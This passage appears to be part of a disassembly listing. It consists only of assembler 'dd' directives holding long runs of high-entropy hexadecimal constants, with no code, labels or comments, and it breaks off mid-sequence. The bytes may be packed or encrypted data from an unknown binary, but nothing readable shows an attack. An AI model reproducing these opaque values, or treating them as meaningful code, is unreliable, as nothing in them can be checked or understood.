0FB118403h, 0EC6F82Ch, 9CB0C2h, 7EA48FC0h, 0EDBCA7FFh dd 24C3853Ch, 10A3823h, 821164D4h, 34EEFA00h, 97467B8Fh dd 38B39D09h, 90D02042h, 54D6C528h, 7269F47Dh, 0F67E04B9h dd 0D0C9A59Fh, 2DDADDE4h, 978178A5h, 0BDD8F079h, 5FF068F2h dd 264A80BBh, 0E79B350Ch, 811011C0h, 9A8064C5h, 0D1CC4C54h dd 2A8FBE02h, 48203BD9h, 4262D10h, 0E8774BD7h, 0F86083ADh dd 0B5FC40ADh, 0D79BD5DAh, 274611C0h, 3B0B5052h, 18590173h dd 0B804DA3Eh, 0D0C119D4h, 0F335A2ACh, 34B0A4B0h, 18DDA132h dd 1134E175h, 0D8AA9857h, 900CB378h, 12360058h, 7672E7DAh dd 9A0369F6h, 6147D9A5h, 0AC81E46Fh, 0CEC0BA97h, 0F01602F8h dd 34B891D7h, 88207052h, 952144DCh, 78C73800h, 45FD02A9h dd 4A10C297h, 388B0D9Ah, 3E2DF601h, 442C73E2h, 6EAD91Ch dd 0D1AEB109h, 0CE50057Ah, 0C455A833h, 0B04C0125h, 4FC8DC78h dd 0E873288Ch, 0BF411C10h, 84E27F88h, 0D7DF18C6h, 23E13C9Ah dd 9CC80950h, 75442153h, 0F13F598Ah, 0A9E450F4h, 692AD408h dd 51CEC0B2h, 96A485AAh, 501A8046h, 30954858h, 690FEA7h dd 0F21192DAh, 0CC80CB8h, 7750D3BDh, 61D8FD00h, 0CA3F1DF7h dd 9D6028AEh, 45FC12C8h, 0D69C627Fh, 9CBDFA62h, 4BC4B9C2h dd 6044D884h, 8FE33829h, 97C0B8CCh, 0D9D33BFh, 96210F14h dd 63828FBCh, 77B880h, 451E0311h, 4F392D1Bh, 4DA85254h dd 0BB3B2B0Ch, 182F716Ch, 8847CB31h, 44910338h, 7327683h dd 8D780527h, 339925h, 9882D874h, 0FC13A90Fh, 7C00C727h dd 95F4E236h, 398F029Dh, 1E0870B9h, 82D99361h, 8DD70FD0h dd 3CA0E1B5h, 498249A8h, 0F20714BEh, 61162440h, 4155108Eh dd 3093219Bh, 81F4C106h, 871E053Dh, 493F1701h, 2E9C4821h dd 98FC6AE4h, 1E814BE0h, 10F4191Ch, 464B0899h, 44032022h dd 8202A471h, 0C5CCDE52h, 3EF4A049h, 27F06C47h, 50000221h dd 1B7C4083h, 81B9DF01h, 5D35973Dh, 425AC983h, 51036B9Dh dd 9BE006A5h, 133925CBh, 224AF422h, 0F28700E9h, 8FA0D4A2h dd 413D1484h, 5A10CE60h, 0BE05C022h, 273A9C98h, 0C485A79Ch dd 0FD6C80BBh, 3F7405E6h, 568DD609h, 18C70A98h, 0F621C780h dd 29D7A27h, 0F119FF07h, 4705C0ECh, 0EEF330D2h, 0E1BB4518h dd 312877F8h, 8E4B10FDh, 0F0876100h, 3275730Dh, 1442C0D3h dd 5B8C8433h, 10F6195Eh, 0BC9B1070h, 2C19E449h, 40A879D4h dd 52118B96h, 0CC0F3228h, 7E0AE091h, 4499826h, 5490D098h dd 2E73E342h, 398DB85h, 6CFCB074h, 0D81D4802h, 0EBBD8D41h dd 6D9398E4h, 4031342h, 7FC4807Ah, 4E025972h, 90014C5Dh dd 0F20C9892h, 3CB11360h, 0A00CC78Dh, 0DA1185B2h, 5631A2F8h dd 462680F3h, 0DD4E2008h, 3CC54804h, 1DCD54E4h, 846906h dd 7605F519h, 0AA7BB4BBh, 0A44E1703h, 0F499C4h, 7DF008FCh dd 90FC2BABh, 9580300Eh, 8CCFC7CCh, 0F5024541h, 161260h dd 0F24A0D17h, 9F8783E6h, 6AFF107h, 0D0E0F332h, 0CCC8B19h dd 82AA2030h, 1D18EF40h, 0EA580872h, 897C00D9h, 779D023h dd 9D00E120h, 52FFE551h, 2629C3h, 0EEC14940h, 1A06AB45h dd 9801DBE0h, 7596F508h, 0F8C444D1h, 0E041860h, 3F83D835h dd 0CB01D918h, 403B7F59h, 891BEA91h, 0F818BF1Ch, 0E54413h dd 85A277E1h, 3DEE073Fh, 0E088AA51h, 0F800207Dh, 0DC7EE728h dd 3E3B893Eh, 2304C64Ch, 0ABEC98C5h, 602B78C0h, 620614A6h dd 0EE81AC7Ah, 84A9D6D2h, 379C1548h, 0EB3E061Fh, 236018D1h dd 0C3D00DD8h, 9A84A03Fh, 601E443Ah, 114F044h, 25B2371Bh dd 0C40B8B40h, 0E0FC5D6Eh, 0C51D6318h, 841A2FF9h, 4BD1721h dd 4F9E2740h, 0FE390D8h, 3B16B00Ch, 20AFF9ABh, 2042B33h dd 4BBDB830h, 91DF1F2Eh, 241B2D00h, 96E6F3h, 0F75403B2h dd 90D09846h, 0FADDCD00h, 348253A6h, 0E132874h, 513600E4h dd 0CFFBAB61h, 6EF41779h dd 3CCD48h, 42D48BBEh, 0C0B9D5D9h, 0F74AF420h, 20A77249h dd 0C0AA5288h, 7A2BC2EAh, 0B49AA230h, 0A09CA13Eh, 126B31F4h dd 1F2D4A07h, 50035848h, 8800A3C5h, 49FFF80Ah, 1C2FCD60h dd 30EB556Ah, 0A32DA021h, 47CF748h, 0EE31421Bh, 0C0204604h dd 0A6F163DAh, 0A10C6Fh, 3688BD39h, 0BBA81DA0h, 0FF09B1B8h dd 59208FF4h, 746B40C1h, 0A3B6229Dh, 5FE7A8h, 0FEEB356Ah dd 0FD68C2DCh, 8443B0B2h, 0F1345842h, 560CF501h, 34239B00h dd 7DF4600Dh, 0FAD012CFh, 63FC0390h, 8100C224h, 0F2223425h dd 0EC746ECh, 0C5563E5Fh, 3800788h, 753F277Ch, 7F7A0A48h dd 0A425F3h, 84A51EC0h, 63014F87h, 4E5B0571h, 0C210F93h dd 35371C24h, 10238Fh, 2DD8E41Ch, 0AB0255Bh, 137C6300h dd 0C5D5898Fh, 417400B9h, 5CE377B4h, 1E0F575Eh, 1C2ECAD4h dd 10E7ADC0h, 3F63D1A6h, 79002CE9h, 8FC4721h, 3C00D62Dh dd 0B653EE7Eh, 74DB1A4h, 38D280A8h, 0DFCC10E0h, 0E5008369h dd 0C4C231C9h, 2C5F5Ch, 1BBC82C6h, 0FE274A8Dh, 63379802h dd 0C005B39Fh, 4FC8ADh, 7AC9C08Bh, 488C7310h, 78AE6800h dd 925B526Eh, 0C7A30072h, 144FFC7Eh, 1E07D09Fh, 84DF6B35h dd 63479DE7h, 0FF411670h, 6DEC00C1h, 0CB03CABh, 69003747h dd 3B712986h, 383F06h, 0AC67AD16h, 96754526h, 64DE2100h dd 15929477h, 0FEBB4CC2h, 0EF4C700h, 3587FF57h, 3707200h dd 91395112h, 0DD151DF8h, 9246094Dh, 77856E80h, 870EF14Ah dd 0E0CE93C0h, 1BDF70EAh, 1F9501E6h, 4B8D36DDh, 0FED7CC97h dd 0E407CB7Eh, 5AB77D8Ch, 0F002C850h, 42BA001Fh, 488B8240h dd 59002C9Dh, 0FD3A9FB8h, 0EC732761h, 39343B1Eh, 0C7B7D600h dd 4179B352h, 9B03F403h, 0C801021Ah, 7AB41Bh, 0F0E067E7h dd 0C39E0CBFh, 4FA03900h, 1A04865Bh, 3E6D0763h, 300849C1h dd 0DAD3D205h, 0D764C500h, 7703DCD5h, 736900C2h, 0CCE0179h dd 4A3B4562h, 35E70708h, 0CF60177Ch, 0C0D816DEh, 4C250139h dd 0B177C251h, 280AD900h, 8423E0F4h, 1CD47E7Eh, 56CEAB5h dd 0C089722Ch, 9CAF0AF2h, 0D5908300h, 67B095DBh, 9BB300F0h dd 778C7C0h, 0E200CEC2h, 10BDD0B2h, 3B1C2F70h, 0EF80C48h dd 8880EA97h, 0EF20D30Eh, 0B41ADFA0h, 18E19E07h, 47734AC8h dd 12700056h, 8B34CDE7h, 173D9141h, 53C0805Ch, 72DEC8Fh dd 298907A1h, 0D0B51B6Ah, 2E5C3A91h, 0DF733113h, 5E0DF00h dd 754E822h, 450C47FCh, 818440C1h, 25001504h, 985CC6C0h dd 3ACD426h, 0C49A83C9h, 0BCA0522Fh, 0ED06622Ah, 8668CE2Dh dd 0B4700068h, 0D412D681h, 0B5E26D26h, 0DD146C00h, 0FBEFBF2Bh dd 0D36E0059h, 0E8750B85h, 1700154Ch, 2D2BA021h, 3A1BEAEBh dd 0A80ADD7h, 0CFC70B18h, 0F100B4D6h, 1F6A0751h, 479DABh dd 1EE25D2Dh, 6D7F11E0h, 9F6BBE38h, 56C03A68h, 2CAFE31Ah dd 5D740039h, 0AA579F2Fh, 4700F808h, 14C0F0B3h, 10C4078h dd 7D3B434Ah, 0D8F306DFh, 80E42F99h, 0A457903Eh, 0DC0064ECh dd 7C471314h, 6B781EBAh, 4FC700C4h, 0E66E3E36h, 0E789AE01h dd 0F9C822F7h, 0DDA430h, 6DA8CC6Bh, 75BD866Ah, 49D0653Dh dd 0EC7700D0h, 0F8E9FB19h, 83610AD9h, 0B3B4F2h, 9FDF84D1h dd 7490CC09h, 5850AE0Fh, 1C2C0D7h, 4F186D4Ah, 0F33EB0D5h dd 6B4C2400h, 0D7655B8Eh, 4A2E002Fh, 640F5D3h, 0C1000AB5h dd 0D1BA13EBh, 7BCCC3h, 0C5BD926Dh, 543F7AF7h, 7F613326h dd 5C591A00h, 821C58h, 9CCDD7FBh, 12C76035h, 56DD800h dd 45BBAB51h, 0CF070348h, 35FEF4D7h, 77A6C0AFh, 0AB3CFA89h dd 0BBC78EDAh, 918B853h, 40FE1Ah, 8F9C95AAh, 0EFB21D7Dh dd 660FB50Fh, 3C6F603Bh, 38CBC1h, 7A4C10FBh, 0A2063A81h dd 3F67AA18h, 493998h, 0DC615AC8h, 0DACBB60Ah, 0A6547D00h dd 0EE92A168h, 437029h, 0F2CE1D52h, 79E83019h, 8724C000h dd 81F7632Ah, 537633h, 7C8F14DBh, 1B61B3Fh, 0BA93D907h dd 9CE02EBEh, 0F7BB5D5h, 7CEADE66h, 0AECBF900h, 6E7C85F8h dd 0AC608600h, 5D1747E6h, 577800B8h, 0A37EE9DCh, 0FE006A7Ah dd 9B7D63EAh, 4C16C4h, 8AF7FC53h, 0B375CE26h, 0B2687700h dd 0FFA9A6A5h, 0E1881FEFh, 29350113h, 4031D12Fh, 0B4B66BCDh dd 7D209D00h, 3A699F5Fh, 5B9F644h, 4E2F10EEh, 0AC9680D8h dd 1801D637h, 0FB0980C9h, 9850CE33h, 1791BB5h, 3452DC9Bh dd 0C4C0AEE5h, 0CA506B6Eh, 0BD004DB4h, 817F8461h, 77D9B6Dh dd 0EEB80C89h, 0B0CC1074h, 0AB3E27EBh, 344300C6h, 5D13D97Fh dd 319D09D3h, 0A08ED721h, 23AEA740h, 10C0DA4Dh, 0E8B8E3D6h dd 150500B6h, 0A32AC510h, 0EB001140h, 465771AAh, 0ED864BFh dd 84C38A78h, 0E9CAA780h, 0F7000BEDh, 1330066Eh, 1B724Fh dd 33773DD0h, 0FBBD3FEAh, 0BE851A00h, 68767404h, 20E9006Ah dd 0BC12989Dh, 2C07E1B5h, 2886E595h, 5D2B7220h, 3E3B9C96h dd 21505580h, 64E90A2h, 8742C901h, 0BC83F5BFh, 3A128840h dd 0C0E4F429h, 0A100C11h, 4D07A936h, 4C9870EBh, 7712460h dd 611C18E0h, 9BCB28B1h, 0D2122090h, 4800A5FFh, 3AD3399Dh dd 0A0E30CC8h, 0D219F102h, 1607D801h, 0B8B5A98Bh, 7D18D450h dd 479003h, 0ABDAF852h, 0F319EE3h, 714D4300h, 936FECCDh dd 86FE00C2h, 0D52D1662h, 0DB0017F8h, 5A776164h, 903546h dd 0D4591D7h, 549E422Ah, 1AED4C01h, 460BE533h, 848F78BCh dd 0C9001DDEh, 6D7CC6E8h, 3686E900h, 47BEA9DFh, 633C0406h dd 0C1A55301h, 30238D3Ah, 0B4008750h, 9949BA89h, 64B252h dd 0E40DEA78h, 0F3A9D780h, 8012C2BFh, 0BECA5AB8h, 62840FB0h dd 8EE050A4h, 0D2070CDh, 8800C27Eh, 0B7E9B49Fh, 0B06C77h dd 0D5962454h, 17FBEE59h, 2E4DD100h, 608BC80Ch, 0B4B2509Dh dd 933D0CBAh, 0CE11D444h, 5D002977h, 42455AB5h, 0C84EADh dd 30EA472Fh, 0E48639DDh, 890037E6h, 5F35BD06h, 77A2E95h dd 0E29C65C0h, 854BC0A8h, 0B0090D0h, 0D5EB838Ah, 0EB50213h dd 0AC6AC67Dh, 0E380DF00h, 0BC047A67h, 0ABA3F2Fh, 0D17CF1C3h dd 41D0DD52h, 831800AEh, 5A86A919h, 16004396h, 0D501E189h dd 77E0B438h, 0A3600002h, 0DD565FB5h, 0BB000CDCh, 5B0BB02Bh dd 0AE4D19h, 0BE8F09A7h, 5489F506h, 6113AF00h, 657A6DC3h dd 1649036h, 0D1597094h, 0D852E68Bh, 17F67176h, 7C3E6601h dd 279A027Ah, 48058C34h, 3C3C96E1h, 5793E080h, 4AB92AB5h dd 0F95A0C00h, 0B47DCA15h, 4F0B0383h, 71EA516Eh, 0F4251100h dd 139ECC50h, 332A0F91h, 67A342FAh, 57C996D0h, 6A60245Ch dd 0D023FD26h, 40F93C00h, 10BF5C2h, 99DAB57Dh, 4035B43Eh dd 6D768F10h, 3AD3F420h, 6A3AD4B7h, 7818C904h, 0B1F4D02Dh dd 0B8009D31h, 0CFA87E8Bh, 3017856Bh, 0B7212363h, 713A7FBCh dd 0AD1C85A2h, 87C0CB9Ch, 12AA1B5h, 0DACAAF98h, 40DCA9BCh dd 6823E3E4h, 4137E030h, 0FDBF693Fh, 480880D2h, 5F99890Fh dd 8BACE9h, 0B6D80EB9h, 0A0379D69h, 8DBEBCh, 42C8A32Dh dd 4B9078B5h, 0EB99A405h, 70032AB4h, 610B91h, 83DBBA59h dd 90E0EFA8h, 81A27F1Dh, 5F458540h, 0E358A6h, 95432794h dd 783E2AD6h, 0EF073AE4h, 0C8E19986h, 18B87A40h, 70CF044h dd 0DAE6C1EBh, 0A0E307A6h, 0F16ABDF9h, 8ABC0A01h, 689F4581h dd 11FCE8h, 982FF5A0h, 0BF777D90h, 0AEB4480Dh, 0D5C499E5h dd 25E4018Ch, 401D0B23h dd 9E188039h, 0FC92F53Ah, 869A026Ah, 8AA52D37h, 0B75380A0h dd 6600F5D2h, 2F82634Ch, 0C92C16Fh, 0F73EDEB9h, 9E77BB18h dd 24524900h, 0A3A8E7BAh, 58B13C53h, 0BFC8D601h, 0EC4FAF8Ah dd 98A05C7Fh, 0B807CB8Dh, 0A093EF08h, 3537830h, 0C8CD58D1h dd 27A3F40Ch, 3B0F9728h, 8132750Eh, 910944B8h, 0C1EE9980h dd 3A5B53A8h, 0A4245916h, 9AEF7900h, 6A3D4Dh, 857AEBD6h dd 0CAB14C65h, 0A352590Ch, 1A64817Eh, 70D0C3CCh, 7B130AC0h dd 0FB3DD61Fh, 18C8A28Ch, 0E9EA07C6h, 236AF6C9h, 16C1D069h dd 0E294402Ch, 7D04B949h, 79B84A39h, 53A92890h, 5897307Bh dd 0BC9DBF91h, 6231084h, 69127C84h, 3023AA1Dh, 0AEE80831h dd 47D3C88Ah, 7E607459h, 0A0E1A3ACh, 100A2890h, 0CCF6CA9Eh dd 24628909h, 0E7801A50h, 49AF3FCDh, 7101A819h, 3778FCFEh dd 0A27D6097h, 9C823C1Eh, 7EB04830h, 0BAC701BFh, 8F11016Fh dd 0E4C66F4Dh, 8BDC0028h, 0AA3B53D3h, 5D000FA8h, 5165DFFCh dd 3C4FDDAh, 6FE5ADB5h, 0F08FC2EDh, 7A371F52h, 0DDF38h dd 0ABA96B62h, 0E603E94Bh, 861E03BFh, 0AE928EB4h, 5B278CD8h dd 0B3DD8A00h, 12A09971h, 3F4D7h, 37BE3461h, 3DF2C3AFh dd 157F761Ch, 143F6240h, 5C36B475h, 0E8703DC2h, 75B06Fh dd 0B6DE589Ch, 9105638Ah, 0EFFCF900h, 0B82E177Dh, 0A8C458F0h dd 0D80AE900h, 0E1A457Fh, 0D6F4FB0Ah, 98009431h, 0C30CB3EBh dd 0C6121E78h, 5D15408Dh, 0E9C78CCEh, 0BDAA4609h, 0D9DF005Fh dd 0E405400Dh, 1CCF48E3h, 87CB7300h, 5670229Ah, 0A53CF300h dd 29434D06h, 457080h, 49B18354h, 168E0D0Eh, 4A2C1B00h dd 0F807F3E5h, 60EE0058h, 6DC015CFh, 0C77F57DAh, 0EC3D8428h dd 22729800h, 576F71Ch, 67B8015Bh, 0EBFD261Dh, 0BFDBC0B6h dd 3BFB3Eh, 0EA137F2Ch, 0FBE1EA4h, 21148139h, 0CF55B040h dd 0A112428Bh, 0ED103492h, 27B200C4h, 9AF18001h, 0A0FA12D9h dd 0FFD480F8h, 6F981E57h, 0C0762D2Ch, 9ACCD600h, 9B88EBh dd 0ACA3BB37h, 3E3970Ah, 82579400h, 0EDF0C1B3h, 275B00DAh dd 7F8128A5h, 0C607D1D3h, 673235FCh, 0FEFBCB0h, 4E6000DEh dd 45B7AF02h, 2207DAE0h, 6840F162h, 577E3C10h, 9A6C9025h dd 0B0BC07BCh, 0B09915A6h, 0B2685047h, 0C2C7AB7Fh, 46809271h dd 138CAh, 60BF510Fh, 3A33FEEBh, 5A56140Eh, 16FC60F8h dd 0F4D5E905h, 0CD870BF1h, 0D081EEA5h, 64772774h, 6F002EACh dd 44A2A862h, 0ED13140h, 0C5277370h, 97AD47C3h, 0B8530BD8h dd 7A233700h, 0CC2FD4Dh, 0D6CD0004h, 0BF1DAD72h, 7D001BA2h dd 550844F8h, 81110D2h, 36CC65FBh, 47192C00h, 45AB388h dd 4F7D25C7h, 25CB0F1h, 40724B00h, 0FE5F0CB5h, 12660E01h dd 454085AEh, 9D9F76ACh, 0CA16E300h, 0F8E2629Eh, 96F72424h dd 0C49C00E1h, 4A2B6FA8h, 90009F4Ah, 0F215933Fh, 0EE300BAh dd 6ABEDDD7h, 6400C48Eh, 68B5C199h, 26939Ah, 34438D65h dd 5D13568Bh, 3C82704h, 0A080306Dh, 34B76B6h, 4E8457A0h dd 119052EBh, 1E1C6C39h, 7440CB20h, 663864A5h, 4C020024h dd 0A3D57FFBh, 0D90037CAh, 828F6C5Ah, 50F1F088h, 1CDAF00Fh dd 0AECC6D07h, 0C0E41E7Ah, 18FCE04Dh, 0A64AAAD2h, 0F1F90803h dd 0C21191E6h, 0C793E9h, 3F457319h, 0A712FC32h, 8A6A0A09h dd 40C8290h, 0C6E8807Ch, 3624AA3h, 0CEE0AC39h, 0DBA8ECBBh dd 4158B1DFh, 8E7201F8h, 6B7316FEh, 0AD66E8h, 197DCE33h dd 0DBDFACC6h, 0F5B0D307h, 0A513DAC5h, 25A8008Eh, 3E476508h dd 0D01EDB1h, 2DD71C98h, 0A97083FBh, 0A60800A3h, 52E829BAh dd 3600163Fh, 0BE794F5Ch, 2A25C1D0h, 0D0BC0Fh, 0E18FD130h dd 78520457h, 0D9926B24h, 0C3E03500h, 0B9F6A3h, 0B323B62Bh dd 7306F06Ch, 0D3393600h, 2FEC7B1Ah, 2B310035h, 487E2595h dd 0CB01AD5Bh, 207C812Eh, 99ECC4BEh, 845F0254h, 411868A2h dd 0B1E141E0h, 658A1A00h, 61567832h, 2EB30001h, 6BCE82B9h dd 12F2D773h, 4B1B5D04h, 0F4C33A28h, 185AC076h, 98ACE457h dd 9489006Dh, 1C79C7FAh, 3A0069C8h, 0DE37F552h, 0EEECB976h dd 369F0080h, 225A7774h, 42465F6h, 1E80F00Eh, 90A3A6B5h dd 4D6000E9h, 8FE576E4h, 0F160216Bh, 0D68650CCh, 0F4F60E04h dd 15C0C543h, 0F71ACC4Eh, 781F2D1Eh, 0A8BD39h, 3FE9ACEAh dd 0FA10C4h, 0C2E75F5Ah, 43E34824h, 64816700h, 0A7589879h dd 21EF0FC1h, 0D1809760h, 5A230705h, 29AA9200h, 160341BAh dd 9D0600DFh, 0C081D4Ch, 62762BA4h, 0BEFDB202h, 81E56A61h dd 6E3DF084h, 5C4CFF0h, 0CC3B03CAh, 0AA0FFFF1h, 0BB5AA0B2h dd 3C56F010h, 0DD803D47h, 95FBB994h, 9A0E5969h, 80CB38FAh dd 27217390h, 8C8100E0h, 2A6EE691h, 0D400BC5Ah, 0E19788B3h dd 3950F61Ch, 4B80944Fh, 99804E46h, 0DC0142FFh, 84B50373h dd 0B8805125h, 0BEE9F5C6h, 0EF004EEAh, 69822837h, 5D6B712h dd 3C3B35DDh, 78E5806Fh, 0C8C004DAh, 0D51E0B18h, 6211C0A6h dd 0DB7BB0C1h, 96515F13h, 15043513h, 92C0FE99h, 3A88F94Eh dd 2C003341h, 4D807A43h, 7B00FB46h, 147DC491h, 0CE5BDC8h dd 2FE87415h, 0F500BF20h, 24606118h, 9566DBh, 310BAC8Fh dd 0B14D1137h, 1715051Ch, 7287F14h, 0DDBE90AFh, 0DA3F71B0h dd 0D37300B7h, 0BF2FF931h, 1F7DE9B9h, 0D9E84603h, 0C019DC18h dd 2869F862h, 944591h, 377F0172h, 0DFC74060h, 2E008C0h dd 0C041EF50h, 5D525F68h, 7300AD2Fh, 89C0C36Ch, 1FA8F290h dd 1C8004h, 0BB225061h, 2000A42Dh, 0CA39863h, 0DC3D8Eh dd 0B6E3DD7Bh, 29ECA0B4h, 91A81C02h, 0C050194Dh, 3E0DA35h dd 259B86DDh, 0FFA0170Ch, 0BC393192h, 97F280DEh, 0FAC1F5B6h dd 1DE71E42h, 93660077h, 5E95C9ADh, 32E66002h, 0E022AF82h dd 293F99h, 92CC78A6h, 6A37BAECh, 83092E12h, 0B9F06E00h dd 369DD8h, 0A39CDE2Bh, 3522520Fh, 0EF3AC80Ah, 0D700CDA6h dd 9724917Eh, 5F8E00ABh, 464CB8DEh, 0CE1ECD2Fh, 807A563Bh dd 0B4CFF404h, 381483Dh, 0F5F70673h, 800AF0Ah, 0BE64E0C3h dd 79911Bh, 0BDE7AE19h, 4F271A15h, 0D775EB00h, 5EEA5966h dd 4D990F09h, 8500B588h, 0D9DB2E6Eh, 3CC9323Eh, 0AC8E0770h dd 0E03FE6AFh, 0A1D4B68Ch, 862B003Eh, 0DEB17E12h, 0B3F8BE1h dd 0B5CB00ADh, 0C9DCB245h, 63690037h, 0E85DC316h, 933803F9h dd 8E520056h, 0D04EB0C8h, 63325C83h, 8273AB00h, 0CDAFF9ACh dd 49E7E900h, 942D6F1Bh, 0B97100D7h, 0CB0816F8h, 0B41C6CB6h dd 1C00FAA7h, 0B54B44B3h, 0C7F101DEh, 0D8C90467h, 3206h dd 98BF91ECh, 13E594h, 40B097F6h, 4C1FAA38h, 32AD0203h dd 0A899D887h, 47E96EEh, 3FB684F2h, 4D508037h, 7C00250Fh dd 9A9E955Fh, 119B5BBh, 8799545Dh, 0EC45EE81h, 2A508972h dd 0E011088h, 77252D69h, 44CDB5FDh, 22674980h, 3119A96Bh dd 5A151600h, 0F8BDF9F6h, 0A5E6390Ah, 1832F000h, 813BADF7h dd 0B74CDB00h, 5D432A8Ah, 319F0022h, 739A5B59h, 50798E3h dd 0D9E98258h, 3EAB9B90h, 0A88700D4h, 5C4CDC5Fh, 7F7C6639h dd 0C589E300h, 3C699BFAh, 0BA8400AAh, 785C5B18h, 2A0329FEh dd 0A667E23h, 0B717F8F7h, 1CF00205h, 0C3F10B93h, 73858680h dd 131FE24Ah, 0C2C02529h, 948EDF43h, 0B867E27Ah, 98EE0091h dd 28A19B7Dh, 1C003CD8h, 0A6E61A71h, 0DC0612h, 8B2F5FDh dd 0D15DA68h, 0A961A400h dd 26969955h, 46C500BEh, 3FE4D4DDh, 0D8E38B3Ah, 0D1006DA2h dd 0B968A994h, 3CE28Dh, 8614B748h, 7E177BC3h, 0BB04350h dd 8012A738h, 0A39065EAh, 0F2B96750h, 9C9601A4h, 84B8A7Bh dd 6C59803Eh, 10C8B3CBh, 0D041001Fh, 3745FB02h, 2039E1E8h dd 0DAD9014Eh, 61281DBBh, 85184882h, 0FC803A94h, 802D2BB1h dd 1BE14702h, 60027220h, 30AB096Eh, 0D330739Eh, 0D800C632h dd 0A3CE39D4h, 0E518F63h, 7BB1ED1Ah, 1427986Bh, 0C76CC0CCh dd 0DB009CE0h, 2E11522Fh, 2A7683Ch, 0DE9395BEh, 6C405AFCh dd 0A3F85FE4h, 4663301Dh, 22F7380h, 122257DEh, 37B4DFC1h dd 6B9F62E0h, 909C544Bh, 8588AD30h, 1928D130h, 1866CFh dd 119113E4h, 4D849246h, 0A4A698C2h, 7558485Ch, 831C1E7h dd 2029796Ch, 3003174h, 0FF8E9FC6h, 3AB97850h, 350099C3h dd 26BD0D68h, 0A3006993h, 0F14D292Fh, 8132E8h, 3A15B1AFh dd 2A726188h, 0DA777F00h, 0F2E35755h, 0FB740054h, 9A69CF8Ch dd 0BA021602h, 0BE70363h, 0E0FE63F3h, 7607624Dh, 8EE60053h dd 702619E4h, 0EE01052Ch, 0B055ED0Eh, 1BD0CFDAh, 4D530004h dd 0ADBF44E8h, 0BF0869Bh, 367F748h, 125E149Dh, 598AB8FBh dd 0D2C2008Bh, 0DE4F8689h, 7B00376Ah, 28940B56h, 14D1CFh dd 0D7D42A5Ch, 0D88296CEh, 0CCB7F300h, 0AFFA1B87h, 0FFBB0075h dd 0D3A35357h, 3A009F3Bh, 68A6C277h, 0B097C5F8h, 0AB810178h dd 0D5662C25h, 361420E8h, 8ADF1A17h, 0E0207801h, 5AD4788Fh dd 7C9700C1h, 0BDB261C0h, 4F13ABB3h, 444E7D04h, 0CC005385h dd 1E0571C0h, 134BAB4h, 146447C9h, 4010CAACh, 6F2D96E2h dd 0F603Fh, 0B670DFBAh, 0B12349h, 59A334CFh, 0FC953B67h dd 83124500h, 0CD0650CAh, 0C7031678h, 0E8E200A2h, 45DE51CCh dd 5C861D24h, 0B7DB1C80h, 95EBFFh, 50401A6Fh, 6D639EE4h dd 1860F124h, 0C8CC9E3Fh, 65323740h, 0C1E7A05h, 368CF6B1h dd 0BA006F10h, 0CF111573h, 0FD9C03Bh, 0B532F310h, 0D4AC1760h dd 933C06CAh, 2E40805Ch, 6D1A2576h, 57BA01C8h, 9B052D75h dd 0D0147561h, 0F0E0970Fh, 7A4C948h, 0D66F5881h, 0E6EA1850h dd 76A200E3h, 54AC9899h, 7300AF5Fh, 0CE5320FEh, 711C855Ah dd 8ECA0044h, 49C77C9h, 650075ABh, 2D106D73h, 0B8547Dh dd 0FDB5E3E7h, 0F5394933h, 1A2938h, 0D0F7DEE8h, 8D651Bh dd 0A0C853A9h, 408EEA5h, 55873800h, 0F8A2955Ch, 0FA800F7h dd 542E9E6h, 470B5AECh, 8FDAA7CDh, 2506600Eh, 495ECEh dd 5BF92127h, 0E135E3C3h, 0D54D4Ch, 470F3C03h, 1FC078Ah dd 0C78963F0h, 0C021E499h, 8300CD34h, 8F70966Bh, 82B99Eh dd 0EE0D918h, 1ECA3D24h, 0C1111B24h, 8130A200h, 60CBF86h dd 9703D94Bh, 26E45828h, 3C34DC00h, 47B5E6DBh, 0F9A00079h dd 0D9B8426Dh, 7200709Bh, 1F1CD11Ah, 48BEC8h, 2711BAEBh dd 34962EFEh, 0CC500D00h, 0AE20DC7Bh, 439067h, 532AD8D9h dd 0B8026A08h, 0EA00E4E2h, 4F472E04h, 48BFBCEEh, 2300B02Dh dd 0D2D6701Ch, 0C4001E26h, 776085C7h, 3222A88h, 80A23CF5h dd 0BCC89020h, 0A600E47Ah, 66D1E3C1h, 3DAF2582h, 0C0BDF8A7h dd 0AB45BE8Ch, 6700D611h, 90E23BFh, 6D05FEh, 1A6CB965h dd 0CA57039Fh, 0D5A4CF00h, 9FB99D2h, 38F2DEh, 0E92E3769h dd 83AAAF74h, 2440F400h, 210F4EABh, 6D4F0E0Ch, 0D3A7A2A7h dd 0A558C026h, 1D6363C2h, 0A03C1C30h, 7309D099h, 0E6380080h dd 0FE3D27F6h, 0A01947Fh, 3F70467Ah, 0D4C5CF5Bh, 7B020E89h dd 0B0D6EB00h, 0AE000F6Ah, 0A60B4A1Ah, 2D302Eh, 0F265D7BBh dd 0EE5239F0h, 509ADF14h, 0CD56B148h, 0E8A56C40h, 3D573E69h dd 8DB05900h, 4BEC6858h, 0D0B638h, 0F1CA9E23h, 0AD7A44h dd 53959D3h, 2FABE01h, 0A8BA100Eh, 0E967809Ch, 0B8B23D90h dd 5EC4010Ah, 0C3ACB333h, 18B5DC9Ah, 6CF8EBE3h, 8D009FEEh dd 0BFF3D75Ah, 0F72DACh, 8A56D6C9h, 0A1398711h, 0CD6F4000h dd 757CB906h, 0CF2F003Eh, 0C8F87180h, 27001DD1h, 0BB7F8976h dd 0C038031Eh, 78AC04D9h, 60005771h, 0B1306898h, 519482h dd 0CCA6F5DAh, 3DA2A0ACh, 0E8533Dh, 7458C856h, 0A7D2D8h dd 0EE572EFFh, 0A0BD1339h, 0A34A63Dh, 303A031Ah, 0CCDA2207h dd 0C4B22B00h, 0BBFC2629h, 28A20EBBh, 279FED40h, 8A74E4A4h dd 0C4B0AB50h, 0E8C61700h, 46AC0BAAh, 0F028F08Eh, 3CB33DA4h dd 9E523601h, 0C456FD7Bh, 0E005CCAh, 134C553Dh, 0AE9214h dd 2B6BBF24h, 88809DAAh, 44E7EC03h, 0B0D216C4h, 0F6768D9Eh dd 5C95003Ah, 0C917385Ah, 0E330E287h, 3421059h, 1D4A1F83h dd 0A4F58026h, 0C8A3C234h, 9A83A0DEh, 0A25084Eh, 3640B3B0h dd 8F3E3E88h, 0D333CE00h, 0B0C14B2h, 76601E18h, 613FD9h dd 0F795BD3Dh, 6733FB13h, 7300DBEAh, 0C7D04B38h, 0F251FDh dd 0ED57AB8Bh, 3FBCEFA8h, 3DA6B007h, 49E02AA2h, 0E5024D35h dd 4158EB42h, 0C2408633h, 638330BBh, 4A8008D6h, 5FD2000h dd 96AF5C45h, 0B95200B6h, 